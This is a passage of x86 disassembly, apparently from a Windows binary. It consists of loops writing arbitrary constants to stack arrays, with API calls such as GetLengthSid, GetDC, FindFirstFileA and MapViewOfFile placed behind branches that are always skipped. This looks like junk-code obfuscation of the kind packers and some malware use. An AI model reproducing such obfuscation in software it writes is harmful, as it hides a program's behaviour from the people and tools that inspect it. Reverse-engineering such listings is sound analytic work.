mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002bce5
push dword [ebp - 0x20]
lea ecx, [ebp - 0xe6c]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002bcc9
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002bd07
push dword [ebp - 0x20]
lea ecx, [ebp - 0xfe4]
call fcn.10014c48
mov dword [eax], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002bced
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002bd2f
push dword [ebp - 0x20]
lea ecx, [ebp - 0xe58]
call fcn.10014c48
mov dword [eax], 0xdd33d73c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002bd10
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002bd57
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa0c]
call fcn.10014c48
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002bd38
xor eax, eax
push eax
lea ecx, [ebp - 0xa0c]
call fcn.10014c48
dec dword [eax]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002bd76
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea ecx, [ebp - 0xa0c]
call fcn.10014c43
lea ecx, [ebp - 0xe58]
call fcn.10014c43
lea ecx, [ebp - 0xfe4]
call fcn.10014c43
push 9
pop eax
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 4], al
call fcn.10014c43
xor eax, eax
jmp 0x1002bb71
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x159c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002bdaf
mov eax, dword [ebp - 0x3c]
mov ecx, 0x3531f145
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x34]
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002bde9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 3
lea ecx, [ebp - 0xffc]
call fcn.10014bbc
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb74]
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x24], 0xdf603fa7
mov dword [ebp - 0x24], 0x4fddd3f4
push ebx
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002be3b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1630], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002be26
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002be4e
push dword [ebp - 0x18]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x18]
lea ecx, [ebp - 0xb74]
cmp dword [ebp - 0x18], ebx
jl 0x1002be40
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
xor eax, eax
push eax
call fcn.10014c48
lea ecx, [ebp - 0xb74]
inc dword [eax]
mov byte [ebp - 4], 0x1b
call fcn.10014c43
mov dword [ebp - 0x34], 4
xor eax, eax
mov dword [ebp - 0x1c], 0x4ad72d76
mov edx, eax
mov dword [ebp - 0x44], 0xed1ad67a
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], 7
cmp dword [ebp - 0x34], eax
je 0x1002bea5
mov edx, ebx
mov dword [ebp - 0x1c], 0xffff
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, edx
setne cl
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
sub eax, 0xedcc
je 0x1002beed
xor eax, eax
mov dword [ebp - 0x44], 0xcff8
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002bee8
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
dec dword [ebp - 0x44]
jmp 0x1002bf53
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002bf12
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2f8], 0xa8cf1d65
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002befa
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff4
jl 0x1002bf39
xor ebx, ebx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1002bf2d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff4
jge 0x1002bf1d
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2f8], eax
test eax, eax
jne 0x1002bf4e
cmp dword [ebp - 0x2f8], eax
je 0x1002bf50
mov eax, ebx
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002bf7a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xffc]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002bf5e
xor eax, eax
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002bf8f
push eax
call dword [sym.imp.USER32.dll_DestroyCursor]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002bfb3
push 0x1f58
push 0x16ea
push 0xd76
push 0x2539
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
dec dword [ebp - 0x40]
lea ecx, [ebp - 0xffc]
call fcn.10014c43
xor eax, eax
mov dword [ebp - 0x2c], 0xd4081c29
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002bfec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14c4], 0x713b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002bfd3
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], eax
jl 0x1002c00d